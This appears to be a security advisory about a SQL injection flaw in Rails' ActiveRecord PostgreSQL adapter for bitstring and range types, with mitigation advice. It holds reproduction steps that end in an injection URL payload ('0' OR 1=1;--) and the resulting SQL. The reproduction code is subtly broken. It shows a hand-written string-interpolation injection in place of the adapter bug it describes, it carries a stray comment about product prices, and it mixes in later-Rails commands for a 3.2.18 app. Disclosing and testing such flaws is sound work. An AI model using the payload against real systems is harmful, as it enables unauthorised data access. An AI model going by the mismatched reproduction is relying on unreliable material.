Ruby on Rails (often called Rails) is a web application framework written in Ruby that emphasizes convention over configuration and the principle of "don't repeat yourself" (DRY). It provides developers with a structured and efficient way to build database-backed web applications through pre-built patterns for rapid development.
A malicious attacker can use a carefully crafted request to inject arbitrary SQL due to a vulnerability in the PostgreSQL adapter related to the bitstring datatype.
Details
Module Info
- Product: Ruby on Rails Framework
- Affected packages: activerecord
- GitHub repository:
https://github.com/rails/rails/tree/main/activerecord - Published package: The individual ActiveRecord library or the entire Rails Framework (which includes ActiveStorage).
- Package manager: gem
Vulnerability Info
The Rails' SQL quoting mechanism fails to properly sanitize user input when data types unique to PostgreSQL (bitstring and range) are used in queries. Since these data types are unique to PostgreSQL, this vulnerability is relevant only to users of the PostgreSQL database.
Vulnerable code will take the form of:
Model.where(bitstring: params[:some_value])
Addressing the Issue
There are no known workarounds for this issue. Addressing the issue involves disallowing user-controlled values to be used in queries with the affected data types.
Steps to Reproduce
1. Install a version of Rails that contains this vulnerability, such as 3.2.18:
gem install rails -v 3.2.18
rails _3.2.18_ new cve_test_app
cd cve_test_app
bundle install
Configure the application to use PostgreSQL by updating the Gemfile:
gem 'pg', '~> 0.17.1'
Set up the database configuration in config/database.yml to connect to your PostgreSQL database.
Generate a model (e.g., Device) with a bitstring attribute:
rails generate model Device flags:bit
rails db:migrate
2. Generate a controller:
rails generate controller Devices index
3. Implement a vulnerable query by adding a method to the apps/controllers/devices_controller.rb. It queries products within a certain price range.
class DevicesController < ApplicationController
def index
if params[:flags]
# VULNERABLE: Direct interpolation into a bitstring comparison
@devices = Device.where("flags = B'#{params[:flags]}'")
else
@devices = Device.all
end
render plain: @devices.inspect
end
end
Add a route in config/routes.rb:
Rails.application.routes.draw do
get 'devices', to: 'devices#index'
end
4. Start the Rails server:
rails server
5. Access the vulnerable endpoint with malicious parameters:
http://localhost:3000/devices?flags=0' OR 1=1;--
This input breaks out of the bitstring context and injects SQL:
SELECT * FROM devices WHERE flags = B'0' OR 1=1;--';
OR 1=1 forces the query to return all records, bypassing the intended filter.
6. Observe the effect of the query. If the application returns all records regardless of the flag setting, it indicates that the SQL injection was successful.
Credits
- Sean Griffin
Mitigation
Users of affected versions of Ruby on Rails should follow one of the following mitigations:
- Upgrade to a corrected version.
- Leverage a commercial support partner like HeroDevs for post-EOL security support.